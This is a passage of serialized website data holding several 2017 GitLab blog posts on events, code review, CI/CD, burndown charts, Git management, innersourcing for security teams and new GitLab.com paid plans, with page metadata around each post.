Solution","en-us/blog/what-to-look-for-in-ci-cd-solution.yml","en-us/blog/what-to-look-for-in-ci-cd-solution",{"_path":35852,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35853,"content":35859,"config":35863,"_id":35865,"_type":16,"title":35866,"_source":17,"_file":35867,"_stem":35868,"_extension":20},"/en-us/blog/oscon-and-gitlab-training-in-may",{"title":35854,"description":35855,"ogTitle":35854,"ogDescription":35855,"noIndex":6,"ogImage":35856,"ogUrl":35857,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35857,"schema":35858},"Come see us at OSCON and GitLab training in May","Meet the GitLab team at an event near you this month.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684037/Blog/Hero%20Images/write-gitlab.jpg","https://about.gitlab.com/blog/oscon-and-gitlab-training-in-may","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Come see us at OSCON and GitLab training in May\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Folson\"}],\n        \"datePublished\": \"2017-05-04\",\n      }",{"title":35854,"description":35855,"authors":35860,"heroImage":35856,"date":35861,"body":35862,"category":299},[35602],"2017-05-04","\n\nI'm a Developer Advocate at GitLab, and I'm taking our show on the road to share how your team can use CI/CD. We have several events coming up in May, which gives you several new opportunities to come meet the GitLab team and learn more about what we do!\n\n\u003C!-- more -->\n\n## GitLab at OSCON\n\nWe'll kick the month off in Austin, TX at [OSCON](https://conferences.oreilly.com/oscon/oscon-tx), where you can learn about the software development lifecycle with us. Stop by booth #517 to get a SDLC passport and exclusive GitLab swag.\n\n## CI/CD training\n\nPlease note that these events have taken place and we are no longer taking registrations.\n{: .alert .alert-gitlab-purple}\n\nIn addition to OSCON, we're also offering [Continuous Integration and Deployment](/solutions/continuous-integration/) training in select cities. If you've ever wanted to incorporate CI/CD into your workflow but weren't quite sure how, be sure to attend one of these sessions.\n\n- Austin, TX on May 9th\n- Atlanta, GA on May 22nd\n\nDon't see your city? No problem. We're always looking for new cities, so feel free to [open an issue](https://gitlab.com/gitlab-com/marketing/issues) for us to come to you.\n\nWe look forward to meeting you!\n",{"slug":35864,"featured":6,"template":678},"oscon-and-gitlab-training-in-may","content:en-us:blog:oscon-and-gitlab-training-in-may.yml","Oscon And Gitlab Training In May","en-us/blog/oscon-and-gitlab-training-in-may.yml","en-us/blog/oscon-and-gitlab-training-in-may",{"_path":35870,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35871,"content":35876,"config":35880,"_id":35882,"_type":16,"title":35883,"_source":17,"_file":35884,"_stem":35885,"_extension":20},"/en-us/blog/inside-gitlabs-code-review-flow",{"title":35872,"description":35873,"ogTitle":35872,"ogDescription":35873,"noIndex":6,"ogImage":13414,"ogUrl":35874,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35874,"schema":35875},"Inside GitLab’s code review flow","We keep a quality-conscious mindset throughout the development process, sharing the responsibility among everyone instead of seeing review as an obstacle at the end.","https://about.gitlab.com/blog/inside-gitlabs-code-review-flow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside GitLab’s code review flow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-05-02\",\n      }",{"title":35872,"description":35873,"authors":35877,"heroImage":13414,"date":35878,"body":35879,"category":6634},[22017],"2017-05-02","\n\nCode review, or engineers manually reviewing code as it is being developed, is one of several tools that organizations have to maintain code quality. Having a clean codebase allows developers to quickly build new features, which comes in handy if you find yourself needing to react promptly to the market.  \n\n\u003C!-- more -->\n\nSince teams can feel pressed to skimp on code reviews due to deadline pressure, it’s important to create a clear, repeatable process that becomes a habitual part of the workflow. In addition to the business benefits of keeping code quality high, a robust code review process also carries benefits for productivity, like helping share technical knowledge across teams, and looping in the right people during the process instead of at the end. With a tool like GitLab, where the intuitive UI and discussion features make it easy for non-technical people to contribute, code review can also become a mechanism for uniting stakeholders in your organization.\n\nWhile using GitLab to build GitLab, we apply a quality-conscious mindset throughout the development process, sharing the responsibility among everyone instead of seeing review as an obstacle at the end.\n\n### How we think about code reviews\n\nWe review every single change, so nothing is ever committed directly to master, but we think “code review” is too narrow a term for what we do. Software engineers manually reviewing code is just one part of the entire product development process, and is interrelated with many other processes, so it doesn’t make sense to think about them separately. They all move us closer to our desired outcome: awesome features, shipped on a monthly basis, that meet our customer needs and grow our business.\n\n### Who is involved\n\nOur three core teams involved in the process are product managers, designers, and software engineers. All three teams are constantly collaborating and sharing resources; our roles are not strictly defined by our job titles. PMs and designers may write code, engineers may mock up a design, and everyone discusses the features and the product overall.\n\n### Our process\n\nWe have the benefit of constant dogfooding, or using our own product so as to discover new use cases, test our assumptions, and generally improve GitLab for our users. Loosely, we have a product-design phase, and a code implementation phase. We use [GitLab issues](/stages-devops-lifecycle/issueboard/) to mediate product-design discussions, and GitLab merge requests to mediate code discussions. We encourage “[WIP](/blog/feature-highlight-wip/)”, or work in progress, merge requests for code collaboration, especially when people with different skills are working together: non-engineers often actively engage in WIP merge request discussions to hash out edge cases and design decisions. Since we ship monthly, we schedule work monthly, and putting up WIP merge requests early helps us plan ahead and adjust the scope when we need to.\n\nWe generally assign one backend engineer and one frontend engineer to each feature, which is scoped as small as possible to reduce risk and help us move fast. The backend engineer and frontend engineer collaborate in the WIP merge request, and there is at least one reviewer who reviews the code and makes comments. When all comments, bugs, and design questions are addressed, we merge the feature branch into master. All designers, product team members, and engineers typically check out branches themselves and run code in a local or virtual environment to verify features throughout the development process. (This is also the case for our marketing and people operations teams — GitLab's UI makes it simple for non-technical users to get up to speed and start contributing without needing to work from the command line.) Engineers do their own manual and sanity testing, but we use [Test Driven Development](http://agiledata.org/essays/tdd.html) to catch most errors. We don’t follow a strict Agile flow, instead, we call it [Conversational Development](http://conversationaldevelopment.com/).\n\n### The benefits\n\nWe believe that this approach, which doesn’t segregate code review to the end of the process and entirely burden the reviewer, places responsibility on all of us. If something is broken, it is because we all failed collectively, so we do a retrospective and think about how to fix it. In a very concrete way, code reviews help enforce conventions, consistency, and technical standards among your team. Newer team members can accelerate their education about the product by creating code and then reviewing it critically. A collaborative code review process helps engineering and product teams work closely together to make the best decisions.\n\n\nWatch our webcast, [Code Review: A Business Imperative](https://www.youtube.com/watch?v=XluG9mAQdSo&feature=youtu.be) to learn how code review can help you keep up with the market by shipping better features, faster.\n{: .alert .alert-gitlab-orange}\n",{"slug":35881,"featured":6,"template":678},"inside-gitlabs-code-review-flow","content:en-us:blog:inside-gitlabs-code-review-flow.yml","Inside Gitlabs Code Review Flow","en-us/blog/inside-gitlabs-code-review-flow.yml","en-us/blog/inside-gitlabs-code-review-flow",{"_path":35887,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35888,"content":35894,"config":35898,"_id":35900,"_type":16,"title":35901,"_source":17,"_file":35902,"_stem":35903,"_extension":20},"/en-us/blog/why-code-is-released-too-early",{"title":35889,"description":35890,"ogTitle":35889,"ogDescription":35890,"noIndex":6,"ogImage":35891,"ogUrl":35892,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35892,"schema":35893},"Why code gets released too early (and how to fix it)","More than half of developers say they release code prematurely. What can you do about it?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671476/Blog/Hero%20Images/code-released-too-early.jpg","https://about.gitlab.com/blog/why-code-is-released-too-early","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why code gets released too early (and how to fix it)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-04-27\",\n      }",{"title":35889,"description":35890,"authors":35895,"heroImage":35891,"date":35896,"body":35897,"category":8943},[19026],"2017-04-27","\n\nCode released before it’s ready might be good for meeting deadlines, but that’s about all it’s good for. Most software products today are in a continual state of development, testing and release, so making sure you’re only shipping code that’s truly ready is both challenging and critical.\n\n\u003C!-- more -->\n\nOur 2016  [Global Developer Survey](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) asked respondents about how they work, what they work with and what makes their jobs easier (or harder!). They told us resoundingly that between deadline pressure and unrealistic expectations from management, they end up releasing broken or non-functional code all too often.\n\n## Over half of developers admit to releasing code before it’s ready\n\nThe frequency of shipping incomplete code varies, but an overwhelming 81 percent of developers admitted to releasing code before it’s ready, with an alarming 15.75 percent saying it happens more than half of the time.\n\nThis isn’t the same as releasing early and often, although the two are easily confused. It’s common practice to release features that are not necessarily polished, with the aim of gathering feedback and improving with the next iteration. However, releasing code that isn’t ready refers to code that is incomplete, not yet fully functional, or hasn’t been tested across all environments. The pitfalls here are obvious: shipping code that’s not finished can break things and result in frustrated customers.\n\n## Why does this happen?\n\nIt seems obvious that releasing too early should be avoided, yet it happens all too often. Why? Pressure from senior management and deadlines that must be hit were the top two answers from our respondents, with 38.34 and 58.9 percent each, suggesting a breakdown in communication and mismanaged expectations between senior management and development teams.\n\n## How to prevent premature releases\n\nHaving a robust release management strategy is essential for planning and controlling your software delivery schedule. Leveraging [Continuous Integration and Continuous Delivery](/blog/ways-ci-cd-helps/) to ensure your code is always tested and ready to be deployed at a moment’s notice helps to prevent the release of broken code. [Adopting DevOps practices to improve communication and collaboration](/blog/introduce-continuous-workflows/) between teams and encourage shared responsibility for each release is another way to ensure that deadlines are realistic and can be met.\n\nAlso, it might sound counterintuitive, but releasing more often can actually help to prevent premature releases: if you’re shipping once a month instead of twice a year, there’s no reason to rush code that isn’t ready into your upcoming release just to meet a deadline.\n\nDownload our [Global Developer Report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) to learn more about what developers want and need to do their jobs more efficiently.\n{: .alert .alert-gitlab-orange}\n",{"slug":35899,"featured":6,"template":678},"why-code-is-released-too-early","content:en-us:blog:why-code-is-released-too-early.yml","Why Code Is Released Too Early","en-us/blog/why-code-is-released-too-early.yml","en-us/blog/why-code-is-released-too-early",{"_path":35905,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35906,"content":35912,"config":35916,"_id":35918,"_type":16,"title":35919,"_source":17,"_file":35920,"_stem":35921,"_extension":20},"/en-us/blog/mapping-work-to-do-versus-time-with-burndown-charts",{"title":35907,"description":35908,"ogTitle":35907,"ogDescription":35908,"noIndex":6,"ogImage":35909,"ogUrl":35910,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35910,"schema":35911},"Demo - Mapping work versus time, with burndown charts","Our Frontend Lead Jacob Schatz explains how managers and ICs can benefit from our burndown chart feature, released in GitLab 9.1.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666633/Blog/Hero%20Images/gitlab-2016-in-review-cover.png","https://about.gitlab.com/blog/mapping-work-to-do-versus-time-with-burndown-charts","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Demo - Mapping work versus time, with burndown charts\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-04-25\",\n      }",{"title":35907,"description":35908,"authors":35913,"heroImage":35909,"date":35914,"body":35915,"category":734},[22017],"2017-04-25","\nEvery software development team likely feels pressure to move faster, shipping more software in shorter time periods. With GitLab [9.1](/releases/2017/04/22/gitlab-9-1-released/), we've introduced burndown charts to further help you track and manage your work.\n\n\u003C!-- more -->\n\nBurndown charts for projects help teams visualize the number of issues that are incomplete as they progress through a milestone. You can see the number of issues left to do, along with their cumulative issue weight, \"burn down\" over the remaining time before your deadline. This prepares teams to foresee obstacles and make decisions sooner, for instance on resources or scope, if risks emerge further along in their timeline.\n\n### Demo:\n\nIn this brief overview, Frontend Lead Jacob Schatz explains how burndown charts help managers keep a high-level view of their team's work, even as they help engineers self-pace and stay focused.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/zJU2MuRChzs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### Watch the webcast\n\nFor Jacob's entire presentation, [watch the **Managing the DevOps Culture Shift** webcast](https://www.youtube.com/watch?v=py8c6-3zyKM&feature=youtu.be) on demand!\n",{"slug":35917,"featured":6,"template":678},"mapping-work-to-do-versus-time-with-burndown-charts","content:en-us:blog:mapping-work-to-do-versus-time-with-burndown-charts.yml","Mapping Work To Do Versus Time With Burndown Charts","en-us/blog/mapping-work-to-do-versus-time-with-burndown-charts.yml","en-us/blog/mapping-work-to-do-versus-time-with-burndown-charts",{"_path":35923,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35924,"content":35930,"config":35934,"_id":35936,"_type":16,"title":35937,"_source":17,"_file":35938,"_stem":35939,"_extension":20},"/en-us/blog/choosing-git-management-solution",{"title":35925,"description":35926,"ogTitle":35925,"ogDescription":35926,"noIndex":6,"ogImage":35927,"ogUrl":35928,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35928,"schema":35929},"What to look for in a Git management solution","You've decided to make the move to Git. Now what?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671466/Blog/Hero%20Images/how-to-choose-a-git-management-system.jpg","https://about.gitlab.com/blog/choosing-git-management-solution","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What to look for in a Git management solution\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-04-20\",\n      }",{"title":35925,"description":35926,"authors":35931,"heroImage":35927,"date":35932,"body":35933,"category":8943},[19026],"2017-04-20","\n\nThere's good reason why Git is the most popular distributed version control system today. If you're still not sure it's the right choice for your business, [listen to our recent panel discussion about the pros and cons of Git ](https://www.youtube.com/watch?v=iVUqKJpHc5s&feature=youtu.be) to get the lowdown. If we've convinced you already, that's great news! The next step is choosing a Git management solution that's right for your team.\n\n\u003C!-- more -->\n\n## Why you need a Git management solution\n\nGit by itself does not have a graphical user interface – it's entirely based on the command line. This might be a familiar and comfortable environment for developers, but can be a barrier to entry for other team members. Fortunately, thanks to the open source community, there are a number of Git management solutions built on top of Git that can improve the user experience, by offering a user interface.\n\nThis not only helps team members to visualize, manage, and browse projects and repositories easily, but also makes reviewing code changes simpler. Managing access and permissions is also easier and more secure.\n\nA Git management solution can also offer [enterprise-ready features](/pricing/) that are designed to simplify and secure the software development lifecycle for larger organizations, such as time tracking, file locking, and merge or pull request approvals. Another advantage is the ability to integrate with modern technology and processes to make the most of other tools and container schedulers such as Kubernetes.\n\n## What to consider when choosing a Git management solution\n\n### Hosted vs on-premise\n\nOn-premise – installing and customizing software on your own machines in your own data center – gives you the advantage of full control over company systems and the security of knowing everything is housed within the walls of your own business. Not relying on a hosted service means you aren't affected by their downtime. However, this places the burden of managing and maintaining in-house servers on your organization, and you'll need a dedicated IT team that's up to the job. Decide which [hosting solution](/stages-devops-lifecycle/) is best for your organization before settling on a Git management solution.\n\n### Integration with other tools\n\nSource code management is just one element of the software development lifecycle. Your teams will most likely want other features such as [issue tracking](/stages-devops-lifecycle/issueboard/), [CI/CD](/solutions/continuous-integration/), [code review](https://www.youtube.com/watch?v=XluG9mAQdSo&feature=youtu.be) and [collaboration tools](/blog/why-collaboration-tools-matter/). When choosing a Git management solution it's important to know what other tools or features your teams require, and whether the solution you're considering includes or supports those.\n\n### Cost\n\nWhat is your budget and how do you want to spend it? Opting for an open source solution rather than a commercial one can seem like a shortcut to savings, and many organizations [choose open source](/blog/why-choose-open-source/) for this very reason. It's also critical though to consider whether the features that are included and support offered are sufficient for your needs, and will scale as your organization grows. When you've taken all of this into account you'll be in a good position to make the right choice.\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">Listen to our &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>Why You Should Move to Git\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;panel discussion \u003Ca style=\"color: rgb(107,79,187);\" href=\"https://www.youtube.com/watch?v=iVUqKJpHc5s&feature=youtu.be\"> here\u003C/a>!\u003C/p>\n{: .alert .alert-gitlab-orange}\n\n[Photo](https://unsplash.com/photos/IZGNcO_8CDg) by [Letizia Bordoni](https://unsplash.com/@letyi) on Unsplash\n{: .note}\n",{"slug":35935,"featured":6,"template":678},"choosing-git-management-solution","content:en-us:blog:choosing-git-management-solution.yml","Choosing Git Management Solution","en-us/blog/choosing-git-management-solution.yml","en-us/blog/choosing-git-management-solution",{"_path":35941,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35942,"content":35948,"config":35952,"_id":35954,"_type":16,"title":35955,"_source":17,"_file":35956,"_stem":35957,"_extension":20},"/en-us/blog/how-innersourcing-can-help-your-security-team",{"title":35943,"description":35944,"ogTitle":35943,"ogDescription":35944,"noIndex":6,"ogImage":35945,"ogUrl":35946,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35946,"schema":35947},"How innersourcing can help your security team","Security is a major concern during the development process — innersourcing can help.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676117/Blog/Hero%20Images/data.png","https://about.gitlab.com/blog/how-innersourcing-can-help-your-security-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How innersourcing can help your security team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-04-19\",\n      }",{"title":35943,"description":35944,"authors":35949,"heroImage":35945,"date":35950,"body":35951,"category":8943},[22017],"2017-04-19","\nIn today’s world of developer-defined tooling and accelerated delivery pace, security and compliance are becoming more difficult. With increased threats from advanced hackers, and security breaches rapidly turning into PR storms, your security team is under more pressure than ever before.\n\n\u003C!-- more -->\n\nIn our [2016 Global Developer Survey](http://get.gitlab.com/global-developer-survey/), 86 percent of respondents told us security is important or extremely important to them when developing code — code cannot be good without being deployed within a solid security architecture. In this context, innersourcing, or [the use of open source development techniques](https://web.archive.org/web/20201001042918/http://www.inner-sourcing.com/open-source-and-opengl-a-response-from-tim-oreilly/) within the corporation, is a useful way for some enterprise teams to reap the benefits of open source principles while keeping their code private to non-employees.\n\nEnterprise teams have a lot to gain from open source methods. Some of the most [important of these](/blog/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization/) include making all software projects visible by default to all employees, and allowing anyone who can see the code to fork it and make changes freely. New ideas can also arise by allowing people outside the project to suggest changes with pull and merge requests, and having a line-by-line conversation about the code. Using unit and integration tests lets developers make changes without fear of breaking things. Similarly, incorporating continuous integration ensures that every change is automatically tested. These principles can help the entire team collaborate, but they have some specific applications for the security team.\n\n### Break down silos\n\nWhile in the past a developer might have [relied on word of mouth](/blog/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization/) to learn about other projects in their organization, and had to track someone down to give them access if they wanted to contribute, innersourcing removes the barrier to entry. By reusing code from their colleagues on the security team, developers can be more efficient while also ensuring greater consistency in their code.\n\nBy allowing developers to work on projects outside of their department without having to ask for permission, innersourcing ensures that a security specialist can be easily looped into a project for review and feedback. This can also help improve the relationship between security and development teams. Together with security automation, security team members provide an additional feedback loop during the application development process, rather than refining security at the end.\n\n### Spot (and fix) security issues\n\nInnersourcing pairs the benefits of open source workflows, like greater collaboration and improved code quality, with greater assurance that code is secure: 39 percent of our survey respondents said innersourcing has helped them uncover security issues they hadn't seen before.\n\nFor example, using our own code review workflow, we [discovered a vulnerability in 9.0](/releases/2017/03/29/gitlab-9-dot-0-dot-2-released/) that could allow a user to rename upload directories for projects that they did not own, effectively breaking all links to those uploads. After its discovery, this was fixed in a subsequent security release, which we release as soon as we find vulnerabilities.\n\n### Enable knowledge sharing and innovation\n\nBy making software projects visible within the company, and including thorough documentation, security team members can share the constraints and common problems they run into when reviewing developers' code. At GitLab, for both internal and external knowledge sharing, we publish blog posts for every security release, explaining the fixes included in each release, and giving credit to the person who reported the vulnerabilities. In addition, once a security issue is discovered in one project, a developer can quickly search all projects for similar bugs.\n\nHelping development teams understand recurring security issues makes it more likely that they'll not only avoid making the same mistakes in the future, but that their combined skills might allow them to innovate around the security constraints.\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">Read our &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>Global Developer Survey Report\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Ca style=\"color: rgb(107,79,187);\" href=\"http://get.gitlab.com/global-developer-survey/\">Download it here\u003C/a>!\u003C/p>\n",{"slug":35953,"featured":6,"template":678},"how-innersourcing-can-help-your-security-team","content:en-us:blog:how-innersourcing-can-help-your-security-team.yml","How Innersourcing Can Help Your Security Team","en-us/blog/how-innersourcing-can-help-your-security-team.yml","en-us/blog/how-innersourcing-can-help-your-security-team",{"_path":35959,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35960,"content":35966,"config":35970,"_id":35972,"_type":16,"title":35973,"_source":17,"_file":35974,"_stem":35975,"_extension":20},"/en-us/blog/cloud-native-demo",{"title":35961,"description":35962,"ogTitle":35961,"ogDescription":35962,"noIndex":6,"ogImage":35963,"ogUrl":35964,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35964,"schema":35965},"Demo: cloud native development with GitLab","See how you can leverage the power of the cloud with GitLab 9.0.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671482/Blog/Hero%20Images/cloud-native-demo.png","https://about.gitlab.com/blog/cloud-native-demo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Demo: cloud native development with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-04-18\",\n      }",{"title":35961,"description":35962,"authors":35967,"heroImage":35963,"date":35968,"body":35969,"category":734},[19026],"2017-04-18","\n\n[Cloud native development](/topics/cloud-native/) means moving away from monolithic apps towards [microservices](/topics/microservices/): causing a spike in the number of projects and making consistent and efficient application lifecycle management more important than ever.\n\n\u003C!-- more -->\n\nCloud native applications embrace a new approach to building and running applications that takes full advantage of the cloud computing model and container schedulers. This is not to be confused with running traditional applications in the cloud: cloud native means that applications are purpose-built for the cloud, and consist of loosely coupled services. Applications are re-architected for running in the cloud – shifting the focus away from the machine to the service instead. Cloud native acknowledges that the cloud is about more than just who manages your servers – it is the next step in digital transformation.\n\n## Demo\n\nIn this video demonstration from our [Cloud Native webcast](https://www.youtube.com/watch?v=wtaOQY_ITvQ&feature=youtu.be), Head of Product Mark Pundsack shows how, in less than 10 minutes, you can install GitLab on Kubernetes, build a project, create review apps, store Docker images in a container registry, deploy to production on Kubernetes, and monitor with Prometheus.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jfIyQEwrocw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nWatch the whole [Cloud Native webcast](https://www.youtube.com/watch?v=wtaOQY_ITvQ&feature=youtu.be) to learn more about cloud-native development and GitLab's vision for it.\n",{"slug":35971,"featured":6,"template":678},"cloud-native-demo","content:en-us:blog:cloud-native-demo.yml","Cloud Native Demo","en-us/blog/cloud-native-demo.yml","en-us/blog/cloud-native-demo",{"_path":35977,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35978,"content":35984,"config":35988,"_id":35990,"_type":16,"title":35991,"_source":17,"_file":35992,"_stem":35993,"_extension":20},"/en-us/blog/ways-ci-cd-helps",{"title":35979,"description":35980,"ogTitle":35979,"ogDescription":35980,"noIndex":6,"ogImage":35981,"ogUrl":35982,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35982,"schema":35983},"3 Ways CI/CD helps your team","CI/CD frees up your team to spend their time on developing features customers want.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671461/Blog/Hero%20Images/ways-ci-cd-helps.jpg","https://about.gitlab.com/blog/ways-ci-cd-helps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Ways CI/CD helps your team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-04-12\",\n      }",{"title":35979,"description":35980,"authors":35985,"heroImage":35981,"date":35986,"body":35987,"category":8943},[19026],"2017-04-12","\n\n[Continuous integration](/solutions/continuous-integration/) and delivery are at the core of modern software development, enabling businesses to ship new, working features earlier and more often. CI is also becoming an [integral part of everyday work](/blog/ci-integral-to-everyday-work/) for developers, saving them time and reducing frustrations.\n\n\u003C!-- more -->\n\n## CI/CD saves time\n\nOne of the [major advantages of CI](/topics/ci-cd/benefits-continuous-integration/) is that it automates manual processes that are often a tedious and time-consuming part of a developer’s job. There’s less manual debugging to contend with, and they no longer have to worry about building their changes with a variety of different operating systems or other environments. The CI system can take care of all that, and leverage its ability to integrate with tools like Docker and Kubernetes to take full advantage of the power of the cloud without having to run on a development machine. Best of all, as this work is automated, it frees up team members to move onto other tasks while the build and tests complete.\n\n## CI/CD saves money\n\nWith a CI tool, you can also take advantage of the fact that it has significantly more flexibility and power available. For example, it can run tests across multiple operating systems, multiple browsers, and in general do more work than is practical on a developer’s machine. This allows the team to find issues more quickly and earlier in the cycle, where it is cheap, instead of backtracking later. If you have to wait until late in the development to find out a change fails on a specific operating system or browser, that can become expensive and could jeopardize the release. By leveraging CI you become proactive rather than reactive, ultimately saving money.\n\n## CI/CD minimizes downtime\n\nBy integrating changes frequently and ensuring new code is ready to be shipped at any time, significant downtime while you deploy updates becomes a thing of the past. This is not only less stressful for developers and managers, but results in less frustration for your users due to downtime while deployment completes.\n\nTo learn more about CI/CD and how it can help you release earlier and more often, watch our webcast, \"[From Continuous Integration to Continuous Everything](https://page.gitlab.com/20170301_continuouseverything.html)\" on demand.\n{: .alert .alert-gitlab-orange}\n\n“[Spiral](https://www.flickr.com/photos/xmex/32568053662/)” by [XoMEox](https://www.flickr.com/photos/xmex/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/)\n{: .note}\n",{"slug":35989,"featured":6,"template":678},"ways-ci-cd-helps","content:en-us:blog:ways-ci-cd-helps.yml","Ways Ci Cd Helps","en-us/blog/ways-ci-cd-helps.yml","en-us/blog/ways-ci-cd-helps",{"_path":35995,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35996,"content":36001,"config":36006,"_id":36008,"_type":16,"title":36009,"_source":17,"_file":36010,"_stem":36011,"_extension":20},"/en-us/blog/introducing-subscriptions-on-gitlab-dot-com",{"title":35997,"description":35998,"ogTitle":35997,"ogDescription":35998,"noIndex":6,"ogImage":12013,"ogUrl":35999,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35999,"schema":36000},"Introducing paid subscriptions on GitLab.com","Subscriptions and limits to private CI minutes on shared runners are coming to GitLab.com","https://about.gitlab.com/blog/introducing-subscriptions-on-gitlab-dot-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing paid subscriptions on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Bartlett\"}],\n        \"datePublished\": \"2017-04-11\",\n      }",{"title":35997,"description":35998,"authors":36002,"heroImage":12013,"date":36004,"body":36005,"category":299},[36003],"Mike Bartlett","2017-04-11","\n\nFor the past few years, we've run GitLab.com as our free SaaS offering, featuring unlimited public and private repositories, unlimited contributors, and access to key features, like issue tracking, code review, CI, and wikis. None of those things are changing! We're committed to providing an integrated solution that supports the entire software development lifecycle at a price where everyone can contribute.\n\n\u003C!-- more -->\n\nSo what's changing? Over time, the usage of GitLab.com has grown significantly to the point where we now have over two million projects hosted on GitLab.com and have seen a 16x increase in CI usage over the last year. While we're excited by the exponential growth of GitLab.com, we also want to ensure that we can maintain our commitment to offering a free plan with unlimited private repos, unlimited contributors, and access to the key features that allow you to bring your entire software development lifecycle into a single platform. To keep this commitment and to offer users who have more specialized needs access to additional [enterprise features](/enterprise/), we're [introducing new paid subscriptions](/pricing/#gitlab-com) to GitLab.com.\n\nThese paid plans will do three things:\n * introduce a limit to the amount of private CI minutes on shared runners from May 1st\n * offer additional paid plans for GitLab.com users who are looking for a more robust feature set without the overhead of managing their own Enterprise Edition instance\n * offer a new level of support for teams who use GitLab.com for mission critical code\n\n## Introducing our paid plans\n\n[![paid-plans](https://about.gitlab.com/images/blogimages/ci-limits/paid-plans.png){: .shadow}](/images/blogimages/ci-limits/paid-plans.png)\n\nYou can see more information on the [Product section](/pricing/#gitlab-com) of our website.\n\nRight now, the plans offer additional minutes and levels of support. Future GitLab\nEE Starter and EE [Premium](/pricing/premium/) features will be added exclusively to Bronze, Silver and\nGold plans over time.\n\n\n## Capping CI minutes on private shared runners\n\nThanks to [the generosity](/blog/gitlab-partners-with-digitalocean-to-make-continuous-integration-faster-safer-and-more-affordable/) of Digital Ocean we were able to offer unlimited CI minutes for the last year.  Over this time, we've run billions of free CI minutes across thousands of projects on GitLab.com.\n\nWe are going to continue to give away free CI, but from May 1st, the number of minutes on our shared runners will be capped at 2000 minutes a month per group\nand our paid plans will allow for additional minutes. This limit will only apply to\nprivate projects. This will affect less than 3% of all groups using 